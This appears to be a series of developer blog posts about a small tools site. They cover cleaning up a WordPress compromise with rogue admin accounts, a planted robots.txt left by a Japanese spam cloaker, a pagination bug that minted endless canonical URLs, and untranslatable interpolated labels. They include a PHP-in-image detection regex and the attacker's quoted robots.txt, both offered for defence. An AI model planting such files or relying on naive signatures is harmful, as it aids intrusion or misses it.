This is the difference between a signature and an authority. My signatures encode what I imagine malware looks like. The checksum list encodes what the software is. Only one of those keeps working when the attacker writes something I did not imagine.

Two things I got wrong, out loud

I cleared a file because it was not obfuscated. On 5 September I read the site's wp-login.php, saw no eval, no base64, no hex, and moved on. The checksums flagged it. The diff turned out to be two blank lines and a missing newline — so my conclusion was right, no credential stealer — but my reason was worthless. "It does not look like malware" is not evidence. I only knew the file was clean once something authoritative told me what it should be.

I wrote a scanner rule that was certain and wrong. It flagged images containing PHP, which is a real technique:

if ($isImg && preg_match('~<\?php|<\?=|eval\s*\(~i', $s)) { /* CERTAIN */ }

That reported 277 files, labelled CERTAIN, across ordinary stock photos and one of Advanced Custom Fields' own PNGs. <?= is three bytes. In a 700 KB binary, three particular bytes turn up by chance constantly. Retested with the five-byte <?php alone: zero. Nothing was deleted on that basis, but only because I checked before acting — and I had labelled the rule CERTAIN, which is precisely the label that invites not checking.

What the database knew that the filesystem did not

Once I was reading the database, the rest of the story was there:

lms   patilari       31 Aug 05:53
lms   suxexnob        4 Sep 05:45     1 live session
lms   root_1n84gk9    4 Sep 07:13:21  2 live sessions
lms   jalejsul        8 Sep 09:09
site2 patilari       31 Aug 07:05:04
site2 root            2 Sep 01:25:30

Administrator accounts. root_1n84gk9 was created in the same minute as those 777 files. patilari appears on two unrelated sites, and on the second one a file-manager plugin was installed nine seconds after the account existed. And jalejsul is dated 8 September — three days after I declared the account clean.

That last row is the whole lesson. I had removed their files. They still had a way in, and it was never a file.

What I would take from it

Prefer an authority to a signature. For WordPress that is the checksums API; for your own code it is a manifest you generated somewhere the attacker cannot reach. A signature list only finds malware that resembles malware you have already seen.
Grep the datastore too. Anything that can be included can be stored: a row, an object-cache entry, a serialised option, an S3 key. A scanner that only walks a filesystem is auditing half the machine.
When you label a check CERTAIN, go and verify it once on real data — before you build anything that acts on it automatically. Mine would have deleted 277 innocent photos.
Clean does not mean cleaned. After an incident, re-verify against something the attacker could not have touched. A baseline taken on a compromised system certifies the compromise.

I build Utilorax, a set of free browser-based tools. If you want to check a file against a published hash without installing anything, the MD5 hash generator runs entirely in your browser — the file never leaves your machine.

My robots.txt check passed for six days on an attacker's robots.txt

Hammad Shams Uddin — Fri, 11 Sep 2026 05:15:36 +0000

Every morning a script checks my site's health and emails me. One of its lines, for six days running:

Fine. Sitemap index lists 54 child sitemaps holding 6,240 URLs in total,
robots.txt points at it, and every page earning impressions answers 200.

For those six days, this was my robots.txt:

User-agent: *
Allow: /

Sitemap: https://utilorax.com/?sitemapindex.xml
Sitemap: https://utilorax.com/?sitemap249.xml
Sitemap: https://utilorax.com/?sitemap476.xml
Sitemap: https://utilorax.com/?sitemap531.xml
Sitemap: https://utilorax.com/?sitemap458.xml
Sitemap: https://utilorax.com/?sitemap522.xml
Sitemap: https://utilorax.com/goods.php?sitemap806.xml

None of those are mine. goods.php is the giveaway: it is the shape of a Japanese shop-spam campaign, and the site had been hit by exactly that — a cloaker serving Googlebot a clothing store while people saw the real site. I cleaned that up on 5 September and wrote down, with some satisfaction, that the site was clean.

It was not. The cloaker had left a second thing behind, and every instrument I had built to catch the first one looked straight at it and said fine.

The check

$robots = (string) @file_get_contents('https://utilorax.com/robots.txt');
if (!str_contains($robots, 'Sitemap:')) {
    $problems[] = 'robots.txt does not point at a sitemap';
}

It asks whether robots.txt mentions a sitemap. The attacker's file mentions seven. It passed with a margin.

This is the same bug as a login check that verifies a password field is non-empty. The test was written against the failure I imagined — someone deleting the Sitemap line by accident — and not against the failure that happened, which is someone replacing it on purpose. A check for the presence of a field passes on anyone's field.

How a static file beat a dynamic one

My real robots.txt is not a file. index.php generates it, so the sitemap URL always matches the host:

if ($path === 'robots.txt' || /* sitemap*.xml */ ...) {
    Sitemap::handle($path);
    exit;
}

and .htaccess sends a request there only when no real file exists:

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^ index.php [L]

So dropping a plain robots.txt into the web root does not fight the generator. It simply wins, silently, because that is what !-f means. There is no conflict to notice.

The file itself had been dressed for the job:

-r--r--r--  356 bytes   Jul 7 2024   robots.txt

Read-only, so a careless cleanup would fail. And dated July 2024 — on a domain registered in July 2026. The only file on the server older than the project, and the only file outside vendor/ set to 444.

Three instruments, one blind spot each

What bothers me is not that one check was weak. It is that I had built three, after the hack, specifically so this could not happen again — and each one had a different reason to wave it through.

The health check tested for a string the attacker supplied.

The integrity monitor hashes every static file and reports anything that changes. I took its baseline after the cleanup — so the planted robots.txt went into the baseline as a known-good file. From then on, the monitor's job was to guarantee the attacker's file stayed exactly as they left it. It did that perfectly.

A baseline taken on a compromised system does not detect the compromise. It certifies it.

The off-server verifier compares live files against git and lists anything on the server that git does not know about. On 5 September it listed robots.txt. I read the list, saw a handful of expected runtime files — caches, a ratings database, a speed-test payload — and filed robots.txt with them, because a site having a robots.txt looked normal.

It was the only item on that list that could not legitimately exist. The real one is generated; a file by that name should never be on disk at all. The verifier was right and I explained it away.

What changed

The check now asks whose sitemap, and treats a file existing as the finding:

preg_match_all('~^\s*Sitemap:\s*(\S+)~mi', $robots, $sm);
$ours    = 'https://utilorax.com/sitemap.xml';
$foreign = array_filter($sm[1], fn($u) => rtrim($u) !== $ours);

if (!in_array($ours, $sm[1], true)) { $problems[] = 'robots.txt does not list our sitemap'; }
if ($foreign)                       { $problems[] = 'robots.txt lists sitemaps that are not ours'; }
if (is_file($webRoot . '/robots.txt')) {
    $problems[] = 'a static robots.txt exists — the real one is dynamic, so this is shadowing it';
}

The verifier has a separate section for static files that shadow a generated route, so it cannot be mistaken for runtime clutter again. And a failed fetch is reported as not evaluated today, rather than as no sitemap — the old code turned an empty response into the same message as a real problem, which is part of how I found this: a false alarm made me open the actual file.

And then the fix was invisible

I deleted the file, fetched /robots.txt, and got my real one back. Then the new check ran and fired again:

*** robots.txt lists 7 sitemap(s) that are not ours ***

I had tested with a cache-busting query string. The plain URL — the one crawlers request — was coming from the CDN:

cf-cache-status: HIT
Cache-Control: max-age=14400

The origin was fixed. The edge was still serving the attacker's file, for up to four more hours, to every crawler that asked. If I had kept the old string check, it would have passed that too.

What I would take from it

Three things, and none of them are about robots.txt:

Test for the right value, not for a value. "Is there a sitemap line" and "is it our sitemap line" differ by exactly one attacker.
Never baseline a system you have just cleaned without first proving it against something the attacker could not touch. My proof was git, and I read its answer too quickly.
An "expected" list is where things hide. Every exception you wave through once becomes invisible forever. If a file cannot legitimately exist, it does not belong in a list of files that usually do.

And test your fix the way the crawler will see it, not the way you will.

I build Utilorax, a set of free browser-based tools. If you want to see what your own robots.txt actually tells a crawler — including which sitemaps it advertises — the robots.txt tester will show you.

Page 999 of my 5-page blog returned 200 and said it was canonical

Hammad Shams Uddin — Tue, 08 Sep 2026 08:29:14 +0000

Search Console, this morning:

Discovered - currently not indexed   20,852
Crawled - currently not indexed       1,582
Excluded by 'noindex' tag                63

My sitemap has 6,240 URLs.

Google knows about roughly 22,500 addresses on a site that publishes 6,240. Nobody typed the other sixteen thousand. Something on the site is generating them.

The pager

public static function paged(int $page = 1, int $perPage = 9): array
{
    $all   = self::all();
    $total = count($all);
    $pages = max(1, (int) ceil($total / $perPage));
    $page  = max(1, min($page, $pages));      // <- here
    return [
        'items' => array_slice($all, ($page - 1) * $perPage, $perPage),
        'total' => $total,
        'pages' => $pages,
        'page'  => $page,
    ];
}

That clamp is the sensible thing to write. Somebody asks for page 40 of five, you show them page 5 rather than an empty screen or a stack trace. I would write it again.

The blog has 5 pages. Here is what the server does:

page=1      HTTP 200   9 posts   canonical = /blog
page=5      HTTP 200   3 posts   canonical = /blog?page=5
page=6      HTTP 200   3 posts   canonical = /blog?page=6
page=999    HTTP 200   3 posts   canonical = /blog?page=999

Page 6 does not exist. It answers 200, serves page 5's three posts, and tells Google this URL is the canonical version of this content.

So does page 7. And page 8. There is no largest one.

The clamp was never the bug

The clamp is right, and the caller is wrong, and it took me a while to see which was which.

paged() returns 'page' => 5 when you ask for 999, because 5 is the page it is rendering. That is honest. But the template built its canonical from the request, not the response:

'canonical' => abs_url('/blog' . ($page > 1 ? '?page=' . $page : '')),

$page there is 999. It was never reconciled with what the pager decided.

So the function quietly answered two different questions with one number, and the caller picked the wrong one:

which page am I showing? → 5
does the page you asked for exist? → never asked, never answered

The second question is the one a router needs, and there was no way to ask it. That is the actual defect: not a wrong value, a missing one.

$asked = max(1, $page);
$page  = min($asked, $pages);

return [
    'items'     => array_slice($all, ($page - 1) * $perPage, $perPage),
    'pages'     => $pages,
    'page'      => $page,        // what is being rendered
    'requested' => $asked,       // what was asked for
    'exists'    => $asked <= $pages,
];

$paged = BlogRepo::paged($page, 9);
if (!$paged['exists']) { notFound(); }

and the canonical now uses $paged['page'] — the page that was served — rather than the number in the query string.

page=5      HTTP 200   3 posts   canonical = /blog?page=5
page=6      HTTP 404
page=999    HTTP 404
page=abc    HTTP 200   9 posts   canonical = /blog

?page=abc still resolves to page 1, which is right: it is not a request for a page that does not exist, it is a request that does not name a page at all.

Why this shape is worth recognising

A clamp is a rendering decision. It answers "what do I draw". The moment its output is used to decide "what do I say this URL is", it has silently become a routing decision, and it is the wrong tool for that, because clamping's entire job is to erase the difference between valid and out-of-range input.

That is fine inside a view. It is not fine anywhere near an HTTP status or a canonical tag, and those are usually written a long way from the function doing the clamping.

The generalisation I would carry:

A function that normalises its input owes the caller the un-normalised value too. Otherwise every caller that needed to know "was this valid?" has to re-derive it, and the ones that forget do not fail — they succeed at something slightly wrong.

max() and min() are where this hides. So is ?? $default, intval(), and any array_slice that silently returns fewer rows than you asked for.

What I cannot claim

I found one unbounded URL source and I fixed it. I cannot tell you it accounts for 20,852, because Search Console's Page Indexing report does not expose the URLs through the API, and I am not going to work backwards from a number I want to explain.

What I can say is that this one is unbounded, it was reachable, it answered 200, and it invited indexing — and that until this morning I would have told you the site had 6,240 URLs.

If your Discovered count is wildly larger than your sitemap, the thing to look for is not a leak of pages. It is a parameter with no upper bound that still answers 200.

Testing it

check('page 5 exists',        status('/blog?page=5'),   200);
check('page 6 does not',      status('/blog?page=6'),   404);
check('nor does page 999',    status('/blog?page=999'), 404);
check('a non-numeric page is page 1', canonical('/blog?page=abc'), '/blog');
check('page 5 is its own canonical',  canonical('/blog?page=5'), '/blog?page=5');

The fourth and fifth assertions matter more than they look. The obvious fix — 404 anything that is not a valid page number — breaks ?page=abc, which should be page 1. The two cases sit either side of the same if and the temptation is to write one test.

I build Utilorax, a set of free browser-based tools. This one started with the sitemap URL counter, which is how I knew the sitemap said 6,240 while Search Console said 22,500.

96% of my labels were translated. The other 4% could never be.

Hammad Shams Uddin — Sat, 05 Sep 2026 11:45:58 +0000

My site ships in five languages. The calculator results go through a dictionary:

function T(s) {
    var d = window.CH_CALC;               // { "English label": "translation" }
    return (d && Object.prototype.hasOwnProperty.call(d, s)) ? d[s] : s;
}

Look up the English, fall back to the English. It is about as simple as translation gets, and for most of the site it works.

Then I read a CPM calculator row on the Spanish page:

Impresiones            20,000
Coste por impresión    0.0025
Impressions per 50.00  20,000

One row in English. Not a missing translation — I went and checked, and there was no key to add. There is no key that could be added.

The string does not exist until the reader types

{ label: 'Impressions per ' + fmt(cost, 2), value: int(imp) }

Impressions per 50.00. Change the campaign cost to 75 and the label is Impressions per 75.00. The dictionary would need an entry for every number anyone ever enters.

This is a different category from "not translated yet", and I had been filing it under the same heading. Untranslated is a backlog. This is a defect, and no amount of work on the dictionaries would ever have closed it.

How many

I did not want to guess, and I could not eyeball it — 112 calculators. But the engines are pure functions of an input object, so I could run all of them and read what came out:

const strings = r => [
    r.primary && r.primary.label,
    ...(r.rows || []).map(x => x && x.label),
    r.tag && r.tag.text,
    r.note,
].filter(Boolean);

The trick is telling the two categories apart. Run each calculator twice with different numbers: a label that changes between the runs is being assembled; a label that stays put is a fixed string that is simply missing.

const nudge = s => {
    const n = parseFloat(s);
    return Number.isFinite(n) ? String(n === 0 ? 7 : n * 2 + 3) : s;
};

reader-facing strings   fixed: 397   built from input: 29

The first count was wrong

29 was too many, and the reason is worth the detour.

BMI at one weight says Healthy weight. At double that weight it says Overweight. The string changed between runs, so my sweep called it assembled — but it is not assembled at all. It is a categorical label from a fixed set of four, and every one of them is sitting in the dictionary already, translated.

The nudge did not reveal interpolation. It revealed a threshold.

So the discriminator needs a second condition: the label must also contain a digit.

for (const s of [...varying]) {
    if (!/\d/.test(s)) { varying.delete(s); fixed.add(s); }
}

reader-facing strings   fixed: 405   built from input: 21

21, across 18 calculators. And now the numbers say something:

es:  missing but fixable: 15    unreachable by lookup: 21   (all of them)
fr:  missing but fixable: 16    unreachable by lookup: 21   (all of them)
pt:  missing but fixable: 14    unreachable by lookup: 21   (all of them)
zh:  missing but fixable: 10    unreachable by lookup: 21   (all of them)

The fixed strings are about 96% translated — an ordinary, healthy backlog of a dozen or so. The assembled ones are 0% translated in all four languages, without exception.

That is not a coincidence you have to interpret. A 96% column next to a 0% column is a mechanism, not a backlog. If it were an effort problem the two would look alike. When one category is perfect and the neighbouring one is empty, something is preventing the work rather than nobody doing it.

The fix is to translate the shape

function TF(tpl) {
    var args = Array.prototype.slice.call(arguments, 1);
    return T(tpl).replace(/\{(\d)\}/g, function (m, i) {
        var a = args[Number(i)];
        return a === undefined ? m : String(a);
    });
}

{ label: TF('Impressions per {0}', fmt(cost, 2)), value: int(imp) }

The key is now Impressions per {0}, which is a constant. Twenty-three of them across the site.

The a === undefined ? m : ... matters more than it looks. Templates get edited in dictionaries, by people who are not looking at the call site, months later. If a translator adds a {1} that no argument feeds, the honest outcome is a visible {1} — not the word undefined sitting in a financial result where a number belongs.

And because an untranslated template falls back to English exactly like an untranslated string, this converts one label at a time with nothing to coordinate.

Verifying it end to end

Not "does TF work" — of course TF works. The question is whether a Spanish reader now sees Spanish, which means running the real calculators against the real dictionary:

function render(dict) {
    delete require.cache[require.resolve(CALC)];
    global.window = dict ? { CH_CALC: dict } : undefined;
    return require(CALC).ENGINES;
}

percentage-calculator     "200.00 plus 15%"       -> "200.00 más 15%"
discount-calculator       "You save 30.00"        -> "Ahorras 30.00"
roi-calculator            "Profit 3,000.00"       -> "Beneficio 3,000.00"
zakat-calculator          "Zakat due (2.5%)"      -> "Zakat a pagar (2.5%)"
paypal-fee-calculator     "Fee (2.9% + 0.30)"     -> "Comisión (2.9% + 0.30)"
cpm-calculator            "Impressions per 50.00" -> "Impresiones por 50.00"
emergency-fund-calculator "13,000.00 to go"       -> "Faltan 13,000.00"
...
20 labels now reach a Spanish reader in Spanish that could not before.

Doing this also flushed out that T() reached straight for window. The engines had never called it — only the renderer did — so no Node test had ever touched that line. Making labels translatable inside the engines was what dragged the browser into a test suite that had happily run without one.

The two assertions I would keep

The mechanical ones are the ones that survive:

// Every TF template must exist in all four dictionaries. A template nobody
// translated is the same English string with extra steps.
const templates = [...src.matchAll(/TF\('([^']*)'/g)].map(m => m[1]);
check(lang + ': all templates translated', missing, []);

// And no translation may drop a {0}. That does not look wrong in review -
// it looks like a slightly shorter sentence - and it deletes the number
// from a financial result.
check(lang + ': every placeholder survives', dropped, []);

The template list is read out of the source rather than written down again in the test. A hand-maintained copy would drift, and it would drift silently, in the direction of passing.

What I would take from it

The + in a label is the whole bug. It is invisible in review because it is the most ordinary line of code in the world, and it does not fail — it produces exactly the right English string.

If your product speaks more than one language, the pattern to grep for is a string literal next to a + inside anything a reader will see. And if you already have translation coverage numbers, look at whether they cluster: a column at 96% and a column at 0% are not the same project running at different speeds. One of them is a wall.

I build Utilorax, a set of free browser-based tools. This came out of the CPM calculator, which now says "Impresiones por 50.00" to people reading it in Spanish.